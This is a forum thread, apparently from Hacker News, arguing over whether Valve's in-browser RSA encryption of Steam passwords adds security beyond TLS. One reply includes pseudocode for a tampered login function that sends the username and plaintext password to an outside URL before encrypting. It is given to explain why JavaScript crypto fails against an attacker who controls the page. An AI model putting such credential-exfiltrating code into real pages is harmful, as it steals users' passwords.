The way it worked was valve provides the RSA mod, exponent, and a timestamp.
You rsa-encrypted your password with that information and send it. They double checked server-side that you encrypted it with that information, decrypt it with their private key, and get on with checking against the hash in the database.
What this buys you is that if an attacker intercepts that login, it can't be re-used. Next time, valve will give a different mod and exp. Next time the valid encrypted password will be different. It turns the user typing the same password every time into a new encrypted value each time with each being valid for a short amount of time.
Defense in depth. It doesn't hurt to have more layers.
Anyways, we all know you can't trust TLS because any rogue CA can compromise the security of any domain. Any of the CA hacking in the last while means that a valid certificate for steampowered.com could be issued by the hacker. Similarly, on corporate networks, a rogue employee with access to the root for the default-installed company CA could MITM any of the employees.
Some corporate networks and schools just MITM all traffic by default, and in some cases log a portion of it. If that log were leaked or poorly secured, it would help to have another layer on top of that.
There's no question that TLS is imperfect and no question that when it comes to security you should pile on as many layers as possible and assume every one of them might be broken.
Yes defense in depth is good. But javascript encryption is the weakest link in the chain, it isn't an extra layer of security. This is something that many people seem to have trouble understanding.
As I just said in my original post, if you assume someone can already emulate your domain, all you have to do is edit the javascript to send the unencrypted password to your server and pass the encrypted version to the real server. No amount of layers of security is going to save you from that.
Maybe this pseudocode will help you understand.
function submit(user, pass) {
$.get('http://news.ycombinator.com/dump/?u='+user+'&p='+pass) // you will never notice this
var encrypted = encrypt(pass)
send(user, encrypted)
}
You don't need to be so condescending; I understand js crypto is typically a fools game.
Your example does fail for one of my examples; the case of a poorly secured log from the passive MITM of all connections at a company / university.
If the MITM was simply passive, without encryption the password (possibly valid for other things as well) has been leaked, but with the above encryption scheme it will not have been.
Anyways, the main client to this mechanism is not the browser, but the steam client which very well could verify the hash of the javascript files provided to it or their signature since valve has significantly tighter control over it.
I'm not saying that this scheme is a good idea or significantly more secure, I'm just trying to explain what could justify it.
You can't do passive MITM of TLS if the server is properly configured to use ephemeral key exchange, even if you have its private key. And even without ephemeral kex, and you somehow obtain a secondary trusted CA-signed cert for Steams domain, you still can't do passive MITM.
JS crypto really is worthless if you can't trust the connection.
If you are logging passwords, you've got bigger problems than worrying about attackers being able to middleman your TLS connection and somehow not able to modify it.
I know what you are trying to explain, and you are simply bending over backwards to make it look like this wasn't another example of how clueless about security Valve is.
The way it worked was valve provides the RSA mod, exponent, and a timestamp.
You rsa-encrypted your password with that information and send it. They double checked server-side that you encrypted it with that information, decrypt it with their private key, and get on with checking against the hash in the database.
What this buys you is that if an attacker intercepts that login, it can't be re-used. Next time, valve will give a different mod and exp. Next time the valid encrypted password will be different. It turns the user typing the same password every time into a new encrypted value each time with each being valid for a short amount of time.
So that's what RSA buys you here.